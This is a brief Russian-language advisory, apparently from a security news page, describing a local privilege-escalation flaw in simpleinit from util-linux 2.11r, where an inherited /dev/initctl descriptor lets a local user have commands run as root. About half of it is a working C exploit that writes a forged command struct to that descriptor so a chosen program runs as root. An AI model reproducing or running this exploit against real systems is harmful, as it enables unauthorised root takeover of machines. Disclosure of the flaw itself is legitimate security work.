Уязвимость, обнаруженная в simpleinit, позволяет пользователю выполнять произвольные команды как суперпользователь. 

Уязвимость возникает из-за того, что simpleinit позволяет некоторым дочерним процессам унаследовать дескриптор файла с правами на чтение/запись. Файловый дескриптор используется для доступа к /dev/initctl и этот дескриптор обычно используется программами ‘initctl’, ‘need’ и ‘provide’ для передачи инструкций к simpleinit. Процесс Simpleinit запущен с root привилегиями. 

Местный пользователь, чей процесс унаследует этот дескриптор файла, может заставить Simpleinit выполнять команды как суперпользователь. 

Уязвимость обнаружена в Richard Gooch simpleinit 2.0.2 + util-linux util-linux 2.11 r.

Эксплоит

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include «simpleinit.h» /* From the util-linux source */

int main()
{
int fd = 3;
char buf[COMMAND_SIZE];
struct command_struct* cmd = (struct command_struct*) buf;

memset(buf, ‘\0’, sizeof(buf));
cmd->command = COMMAND_NEED;
cmd->pid = 17;
cmd->ppid = 16;
strcpy(cmd->name, «/home/pat/x/foo»); /* foo will be run as root */
write(fd, buf, COMMAND_SIZE);
return 0;
}

Оставить мнение